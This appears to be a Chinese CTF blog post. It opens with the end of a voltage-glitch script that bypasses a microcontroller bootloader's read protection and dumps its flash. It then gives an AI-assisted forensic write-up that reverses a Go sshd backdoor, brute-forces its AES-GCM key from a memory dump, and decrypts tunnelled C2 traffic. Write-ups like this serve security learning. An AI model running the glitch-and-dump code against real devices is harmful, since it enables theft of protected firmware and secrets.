145 elif cmd == b'\x1f':
146 cnt["nack"] += 1
147 tag = "nack"
148 else:
149 if cmd != b'\x79':
150 cnt["anom"] += 1
151 tag = f"0x{cmd.hex()}"
152
153 # ── 核心: 无论 cmd 响应, 都盲发地址 ──
154 s.write(gen_addr(FLASH_BASE))
155 addr_ack = s.read(1)
156
157 if addr_ack == b'\x79':
158 cnt["bypass"] += 1
159 log(f"\n [{i}] BYPASS! d={delay} p={pulse} cmd={tag} → addr=0x79")
160
161 # 尝试读取 flash
162 data, ok = try_read_full(s, f"[{i}]")
163
164 if ok and data:
165 cnt["full"] += 1
166 log(f"\n{'='*60}")
167 log(f" [!!!] COMPLETE FLASH DUMP at #{i}")
168 log(f" delay={delay}, pulse={pulse}")
169 log(f"{'='*60}")
170 show_hexdump(data, FLASH_BASE)
171
172 # ASCII 提取
173 printable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data)
174 log(f"\n ASCII: {printable}")
175
176 with open("flash_dump_final.bin", "wb") as f:
177 f.write(data)
178 log(f" Saved {len(data)} bytes to flash_dump_final.bin")
179
180 # 尝试继续读更多块
181 all_data = bytearray(data)
182 addr = FLASH_BASE + len(data)
183 for _ in range(15): # 最多再读 15 块
184 s.write(gen_addr(addr))
185 a = s.read(1)
186 if a != b'\x79':
187 break
188 s.write(bytes([BLOCK_SIZE, BLOCK_SIZE ^ 0xFF]))
189 sa = s.read(1)
190 if sa != b'\x79':
191 break
192 s.timeout = 2.0
193 extra = s.read(BLOCK_SIZE + 1)
194 s.timeout = 0.5
195 if not extra:
196 break
197 all_data.extend(extra)
198 addr += len(extra)
199 if all(b == 0xFF for b in extra):
200 break
201
202 if len(all_data) > len(data):
203 with open("flash_dump_full.bin", "wb") as f:
204 f.write(all_data)
205 log(f" Extended dump: {len(all_data)} bytes → flash_dump_full.bin")
206
207 elapsed = time.time() - start
208 log(f"\n Completed in {i} attempts, {elapsed:.1f}s")
209 break
210 else:
211 log(f" Bypass but read failed, continuing...")
212
213 # 尝试: 不带毛刺重新读一次
214 s.reset_input_buffer()
215 s.write(b'\x7f')
216 rs = s.read(1)
217 if rs == b'\x79':
218 s.write(b'\x11\xee')
219 rc = s.read(1)
220 log(f" Clean retry: sync=0x79, cmd=0x{rc.hex() if rc else 'none'}")
221 if rc == b'\x79':
222 s.write(gen_addr(FLASH_BASE))
223 ra = s.read(1)
224 if ra == b'\x79':
225 data2, ok2 = try_read_full(s, "clean")
226 if ok2 and data2:
227 cnt["full"] += 1
228 log(f"\n [!!!] CLEAN READ SUCCESS!")
229 show_hexdump(data2, FLASH_BASE)
230 with open("flash_dump_final.bin", "wb") as f:
231 f.write(data2)
232 break
233
234 # 进度
235 if i <= 10 or i % 200 == 0:
236 e = time.time() - start
237 r = i / e if e > 0 else 0
238 log(f" [{i:5d}] d={delay:4d} p={pulse:2d} {tag:<6s} | n={cnt['nack']} a={cnt['anom']} nr={cnt['nr']} bp={cnt['bypass']} ok={cnt['full']} | {r:.1f}/s")
239
240 else:
241 e = time.time() - start
242 log(f"\n Exhausted {MAX_ATTEMPTS} in {e:.1f}s | {cnt}")
243
244 s.close()
245 LOG_FILE.close()
246
247
248if __name__ == "__main__":
249 main()攻击成功效果(这个数据是我后面重新写的,我也不知道当初的数据是啥样的了)


实在是拖了很久,不过终于是将他顺利完成了,也算是了却一个小小的心事吧)
SSHD
题目附件提供了一个流量包,一个名为sshd的elf程序,一个sshd的进程内存镜像
不难看出是一个结合流量分析+内存分析+逆向分析的题目
那么一上来肯定是进行简单的逆向分析,看看elf程序里都搞了什么
丢进ida查看字符串就会发现他上了一个upx,没有进行什么修改,所以直接用upx -d脱壳即可

脱壳后,重新将程序丢进ida,不难发现这大概率就是一个go编译的二进制程序

后面的步骤,就轮到cc出马了,我们先通过ida no mcp插件将elf程序的数据全部导出
然后将其与附件放在一个目录中,再通过claude code直接分析即可,提示词如下
1目录里是一道ctf的misc困难题目,其中夹带了reverse也就是逆向分析,附件分别为一个pcapng流量包,dmp内存镜像文件,以及sshd-fixed这是一个我已经把upx脱掉的程序,好像是go编译的,我通过插件将里面的函数及大部分数据信息导出了,放在export-for-ai目录里,所以逆向的部分可以优先直接分析目录里的内容,请先用uv init初始化项目,然后用uv管理和运行python程序,uv pip install你需要的库,uv run对应的python脚本,环境中还配置了tshark,可以结合分析流量包。GoReSym.exe不是附件,是一个工具,用于go的符号表恢复,使用说明为README.md,请自行阅读分析,可以先看看需不需要恢复符号表再决定是否使用。将题目的信息实时存入记忆以免丢失进度,帮我分析出如何解出flag,格式为flag{}这边放出cc最后给我的wp
附件:
| 文件 | 大小 | 说明 |
|---|---|---|
chall.pcapng | 376 KB | 网络流量抓包 |
sshd.dmp | 1.74 GB | ELF 64-bit core dump(sshd 进程内存镜像) |
sshd-fixed | 10.7 MB | 已脱壳的可疑 sshd 二进制(Go 编译,ELF 64-bit) |
1. 逆向分析:识别 Go 后门二进制
1.1 基本信息
1file sshd-fixed
2# ELF 64-bit LSB executable, x86-64, dynamically linked, stripped通过 IDA Pro + Go 分析插件加载后,识别关键特征:
- Go 编译:导出符号含
crosscall2,_cgo_panic,_cgo_topofstack(CGo 桥接函数) - UPX 加壳:已预先脱壳
- 符号高度混淆:包名和函数名全部随机化
1.2 混淆包名还原
通过分析字符串表和函数调用关系,还原关键包的对应关系:
| 混淆名 | 真实用途 |
|---|---|
s1qEwJlVe | crypto/ecdh — X25519/ECDH 密钥交换 |
aWhkKW4af_XK | HPKE(混合公钥加密,RFC 9180) |
mIRWHSnur88 | AEAD 密码套件注册(ChaCha20-Poly1305 / AES-GCM) |
yiejMe2hf | 自定义 TLS 层(Handshake, Write 等) |
wUGBqQEE0G7 | TLS 密钥调度(HandshakeSecret, MasterSecret 等) |
WGF5aW3w | 协议消息类型定义 |
1.3 LGLO 协议核心函数
在地址 0x998300 处的大型函数(因复杂度过高无法反编译)是协议状态机核心。通过 raw bytecode 分析:
协议魔术字校验(0x9983A0):
1mov edx, [rdx] ; 读取 4 字节
2bswap edx ; 大端 → 小端
3cmp edx, 0x4C474C4F ; 比较 "LGLO"
4je <protocol_handler> ; 匹配则进入协议处理写入 LGLO 响应头(0x998E20):
1mov dword [rax], 0x4F4C474C ; 写入 "LGLO" magic
2; ... 后续写入大端长度字段
3bswap edx
4mov [rax], edx ; BE32 length1.4 加密层分析
二进制中包含两套 AEAD 实现:
| itab 地址 | NonceSize | Overhead | 实现 |
|---|---|---|---|
0xB4EBF8 | 12 | 16 | ChaCha20-Poly1305 |
0xB4EBC0 | 12 | 16 | AES-256-GCM |
密钥设置函数 0x7EC8E0 包含 44 字节混淆密钥缓冲区和 60 次迭代洗牌解混淆。
密钥交换使用 X25519 ECDH + HPKE ExtractAndExpand (HKDF-SHA256)。
1.5 协议格式
1┌──────────┬──────────────┬──────────────────────┐
2│ "LGLO" │ Length (BE32) │ Encrypted Payload │
3│ 4 bytes │ 4 bytes │ variable length │
4└──────────┴──────────────┴──────────────────────┘
5
6Encrypted Payload = Nonce(12B) || Ciphertext || GCM Tag(16B)加密通道建立后,内部使用 hashicorp/yamux 多路复用。
2. 流量分析
2.1 基本信息
1tshark -r chall.pcapng -q -z conv,tcp1172.10.10.128:2222 <-> 172.10.10.1:5817
2 2589 packets, 292 KB, duration ~135s- 服务端:172.10.10.128:2222(运行恶意 sshd)
- 客户端:172.10.10.1:5817(C2 控制端)
- 单一 TCP 连接
2.2 提取原始载荷
1tshark -r chall.pcapng -Y "tcp.payload" \
2 -T fields -e frame.number -e ip.src -e tcp.srcport -e tcp.len -e tcp.payload \
3 > all_packets.txt2.3 协议消息统计
所有 payload 熵值为 8.00 bits(全加密),零重复。消息尺寸分布:
| 尺寸 | 数量 | 含义 |
|---|---|---|
| 40B | ~1887 | yamux 控制帧(12B 明文 + 12B nonce + 16B tag) |
| 29B | 466 | 短应答帧(1B 明文) |
| 49B | 233 | 客户端命令帧(21B 明文) |
| 85B | 233 | 服务器响应帧(57B 明文 beacon) |
| 其他 | ~26 | HTTP 请求/响应等大数据帧 |
3. 密钥提取:从内存转储中暴力搜索
3.1 分析思路
核心洞察:sshd.dmp 是 core dump(ELF 格式),包含进程运行时的完整内存。会话密钥一定存在于某个内存区域中。
3.2 关键发现 — prepended nonce 模式
经过多轮尝试(ChaCha20-Poly1305 零 nonce、计数器 nonce、HPKE 派生 nonce 等全部失败后),突破性发现是:
40 字节 payload = 12 字节 nonce(前置) + 12 字节明文 + 16 字节 GCM tag
也就是说 nonce 不是外部派生的,而是直接嵌入在每条消息的前 12 字节。这是 AES-256-GCM 而非 ChaCha20-Poly1305!
3.3 暴力搜索密钥
在 1.74 GB 内存中每 8 字节对齐搜索 32 字节候选密钥,尝试 AES-256-GCM 解密第一条消息(prepended nonce 模式):
1#!/usr/bin/env python3
2"""
3search_keys14.py — 在 sshd.dmp 中暴力搜索 AES-256-GCM 密钥
4关键突破: payload 前 12 字节为 GCM nonce,后续为密文+tag
5"""
6import struct, os
7from cryptography.hazmat.primitives.ciphers.aead import AESGCM
8
9DUMP_FILE = "sshd.dmp"
10
11def main():
12 # 第一条客户端消息(40 字节)
13 first_client = bytes.fromhex(
14 "1689cdadd644dbb9c12c9d5ade02de02"
15 "042ecefd4eb00891e848055cdcb2f406"
16 "17adf0184a762393"
17 )
18 # 拆分: 前 12 字节 = nonce, 后 28 字节 = ciphertext + 16B tag
19 nonce = first_client[:12]
20 ct_and_tag = first_client[12:]
21
22 file_size = os.path.getsize(DUMP_FILE)
23 CHUNK = 32 * 1024 * 1024 # 32MB 分块读取
24
25 with open(DUMP_FILE, 'rb') as f:
26 offset = 0
27 tested = 0
28 while offset < file_size:
29 f.seek(offset)
30 data = f.read(min(CHUNK + 32, file_size - offset))
31 if len(data) < 32:
32 break
33
34 for i in range(0, len(data) - 32, 8):
35 key = data[i:i+32]
36 # 跳过低熵块
37 if len(set(key)) < 12:
38 continue
39 tested += 1
40
41 # 尝试 AES-256-GCM 解密
42 try:
43 cipher = AESGCM(key)
44 pt = cipher.decrypt(nonce, ct_and_tag, None)
45 addr = offset + i
46 print(f"\n*** AES-GCM KEY FOUND at offset 0x{addr:x}! ***")
47 print(f"Key: {key.hex()}")
48 print(f"Plaintext: {pt.hex()}")
49 return
50 except:
51 pass
52
53 if tested % 200000 == 0:
54 pct = (offset + i) * 100.0 / file_size
55 print(f" {pct:.1f}% ({tested} tested)", flush=True)
56
57 offset += CHUNK
58
59if __name__ == "__main__":
60 os.chdir(os.path.dirname(os.path.abspath(__file__)))
61 main()3.4 密钥发现
搜索成功找到密钥:
1*** AES-GCM KEY FOUND! ***
2Key: 75067ed959f4a964eefe7566edd077ffbaee16e0aa85b984845e03e0d8fea1194. 解密流量
4.1 LGLO 帧解析器(关键坑点)
重要:LGLO 帧会跨 TCP 包分片! 必须先将每个方向的 TCP payload 拼接成连续字节流,再解析 LGLO 帧。逐包解析会丢失跨包的大消息。
最终采用的解析方式 — 流拼接法:
1# 按方向拼接连续字节流
2client_stream = b''
3server_stream = b''
4for pkt_num, direction, src_ip, src_port, length, raw in packets:
5 if direction == "C->S":
6 client_stream += raw
7 else:
8 server_stream += raw
9
10def parse_lglo_stream(stream):
11 """从连续字节流中解析 LGLO 帧"""
12 messages = []
13 pos = 0
14 while pos < len(stream):
15 if stream[pos:pos+4] == b'LGLO':
16 pos += 4
17 if pos + 4 > len(stream):
18 break
19 msg_len = struct.unpack('>I', stream[pos:pos+4])[0]
20 pos += 4
21 if pos + msg_len > len(stream):
22 messages.append(stream[pos:])
23 break
24 messages.append(stream[pos:pos+msg_len])
25 pos += msg_len
26 else:
27 pos += 1 # 跳过非 LGLO 数据
28 return messages4.2 最终解密脚本(完整 EXP)
1#!/usr/bin/env python3
2"""
3final_solve.py — 完整 EXP: 从 pcapng 提取 → 解析 LGLO → 解密 AES-256-GCM → 找到 flag
4用法: 先用 tshark 导出 all_packets.txt,然后运行本脚本
5 tshark -r chall.pcapng -Y "tcp.payload" \
6 -T fields -e frame.number -e ip.src -e tcp.srcport -e tcp.len -e tcp.payload \
7 > all_packets.txt
8 uv run python final_solve.py
9"""
10import struct
11import os
12import base64
13from cryptography.hazmat.primitives.ciphers.aead import AESGCM
14
15PACKETS_FILE = "all_packets.txt"
16KEY_HEX = "75067ed959f4a964eefe7566edd077ffbaee16e0aa85b984845e03e0d8fea119"
17
18
19def parse_lglo_stream(stream):
20 """从连续字节流中解析 LGLO 帧"""
21 messages = []
22 pos = 0
23 while pos < len(stream):
24 if stream[pos:pos+4] == b'LGLO':
25 pos += 4
26 if pos + 4 > len(stream):
27 break
28 msg_len = struct.unpack('>I', stream[pos:pos+4])[0]
29 pos += 4
30 if pos + msg_len > len(stream):
31 messages.append(stream[pos:])
32 break
33 messages.append(stream[pos:pos+msg_len])
34 pos += msg_len
35 else:
36 pos += 1
37 return messages
38
39
40def main():
41 key = bytes.fromhex(KEY_HEX)
42 cipher = AESGCM(key)
43
44 # ---- Step 1: 读取 tshark 导出的原始包 ----
45 with open(PACKETS_FILE, 'r') as f:
46 lines = f.readlines()
47
48 # 按方向拼接 TCP 字节流
49 client_stream = b''
50 server_stream = b''
51 for line in lines:
52 line = line.strip()
53 if not line:
54 continue
55 parts = line.split('\t')
56 if len(parts) < 5:
57 continue
58 src_port = int(parts[2])
59 raw = bytes.fromhex(parts[4])
60 if src_port == 5817: # Client -> Server
61 client_stream += raw
62 else: # Server -> Client
63 server_stream += raw
64
65 # ---- Step 2: 解析 LGLO 帧 ----
66 client_msgs = parse_lglo_stream(client_stream)
67 server_msgs = parse_lglo_stream(server_stream)
68 print(f"[*] Client->Server LGLO messages: {len(client_msgs)}")
69 print(f"[*] Server->Client LGLO messages: {len(server_msgs)}")
70
71 # ---- Step 3: AES-256-GCM 解密 ----
72 all_decrypted = []
73 for label, msgs in [("C->S", client_msgs), ("S->C", server_msgs)]:
74 for payload in msgs:
75 if len(payload) < 28: # 至少 12B nonce + 16B tag
76 continue
77 nonce = payload[:12]
78 ct_tag = payload[12:]
79 try:
80 pt = cipher.decrypt(nonce, ct_tag, None)
81 all_decrypted.append((label, pt))
82 except Exception:
83 pass
84
85 print(f"[*] Total decrypted messages: {len(all_decrypted)}")
86
87 # ---- Step 4: 提取有意义的数据 ----
88 print("\n" + "=" * 70)
89 print("Decrypted Data Messages (excluding yamux control frames):")
90 print("=" * 70)
91
92 flag_found = False
93 for direction, pt in all_decrypted:
94 if len(pt) <= 12:
95 continue # 跳过 yamux 控制帧
96
97 text = pt.decode('utf-8', errors='replace')
98 ascii_safe = ''.join(c if 32 <= ord(c) < 127 else '.' for c in text)
99
100 # 打印非重复的有意义消息
101 if 'HTTP' in text or 'GET' in text or 'flag' in text.lower() \
102 or len(pt) > 60:
103 print(f"\n[{direction}] ({len(pt)} bytes):")
104 print(f" {text[:500]}")
105
106 # 搜索 base64 编码的 flag
107 if 'ZmxhZ' in text:
108 print(f"\n{'='*70}")
109 print(f"[!] Found Base64-encoded flag!")
110 b64_str = text.strip()
111 decoded = base64.b64decode(b64_str).decode()
112 print(f"[!] Base64: {b64_str}")
113 print(f"[!] Decoded: {decoded}")
114 print(f"{'='*70}")
115 flag_found = True
116
117 if not flag_found:
118 # 备用: 搜索所有明文
119 full = b''.join(pt for _, pt in all_decrypted)
120 if b'ZmxhZ' in full:
121 idx = full.find(b'ZmxhZ')
122 # 往后找到 base64 边界
123 end = idx
124 while end < len(full) and full[end:end+1] in \
125 b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=':
126 end += 1
127 b64 = full[idx:end].decode()
128 print(f"\n[!] Flag (base64): {b64}")
129 print(f"[!] Flag (decoded): {base64.b64decode(b64).decode()}")
130
131
132if __name__ == "__main__":
133 os.chdir(os.path.dirname(os.path.abspath(__file__)))
134 main()5. 解密结果:还原攻击场景
解密后的流量完整还原了攻击者通过后门进行的操作:
5.1 通信架构
1┌──────────────┐ LGLO/AES-GCM ┌──────────────┐
2│ C2 控制端 │◄══════════════════►│ 受害机(sshd) │
3│ 172.10.10.1 │ yamux 多路复用 │172.10.10.128 │
4│ │ │ :2222 │
5└──────┬───────┘ └──────┬───────┘
6 │ │
7 │ 通过 yamux 隧道转发: │
8 │ 1. SMB 探测 (445) │
9 │ 2. HTTP 浏览器指纹 (7680) │
10 │ 3. curl 文件窃取 (8000) │
11 └─────────────────────────────────────┘5.2 解密出的关键 HTTP 通信
C2 → 受害机(通过 curl/8.15.0):
1GET / HTTP/1.1
2Host: 192.168.219.134:8000
3User-Agent: curl/8.15.0受害机响应(Python SimpleHTTPServer):
1<h1>Directory listing for /</h1>
2<li><a href="secret/">secret/</a></li>
3<li><a href="tmp/">tmp/</a></li>1GET /secret/ HTTP/1.1→ 发现 secret.txt
1GET /secret/secret.txt HTTP/1.1→ 响应内容(68 字节):
1ZmxhZ3t5MHVfNFIzXzRfTTQ1NzNyXzBGX1IzdjNSMjMhIzFmZjg4YzY5OTA1YTBhZDR95.3 Base64 解码
1>>> import base64
2>>> base64.b64decode("ZmxhZ3t5MHVfNFIzXzRfTTQ1NzNyXzBGX1IzdjNSMjMhIzFmZjg4YzY5OTA1YTBhZDR9").decode()
3'flag{y0u_4R3_4_M4573r_0F_R3v3R23!#1ff88c69905a0ad4}'完整攻击链:
1逆向分析 sshd-fixed(Go 后门)
2 → 识别 LGLO 自定义协议格式
3 → 分析加密方式为 AES-256-GCM
4 → 从 sshd.dmp 内存转储暴力搜索 AES-256-GCM 密钥
5 → 用 tshark 提取流量并解析 LGLO 帧
6 → 解密还原 yamux 多路复用隧道中的 HTTP 通信
7 → Base64 解码 secret.txt 获得 flag最终本题目在零人工介入的情况下,由claude opus4.6在两个多小时的努力下顺利解出
小小的感慨与总结
其实当初final赛后,就挺想来复现了,还特地拉了个小群说是来解一下,但是最后也是因为各种原因(比如我比较懒)一直搁置了,直到今年,ai浪潮汹涌袭来,ctf圈已经来到了一个新的时代。我也是在某天晚上,突然想起来说,既然现在ai那么强,那么他可不可以直接解出以前解不出的题呢,遂重新捡起了final的赛题,并进行了必要的复现。
“古法已死,新王当立”,如今的赛场上已经遍地是agent的踪迹,一场比赛结束,收上来的wp也很难看出一丝人味。现在的ai真的太强了,选手们用来分析附件的时间,ai已经能把题目做出来了,实话说这真的很打击选手的积极性(我的小登们都道心破碎了)。但我们都知道这大趋势已经不可逆转,ai只会越来越强,古法安全的时代真的已经在慢慢翻篇了,ctf总有一天也会走到尽头,或许会有新的形式替代它也说不定。
也许与自己和解,尝试拥抱新法,转变思路,才是现在最好的出路罢。
好怀念以前无所不能的自己啊)
Comments will be available soon.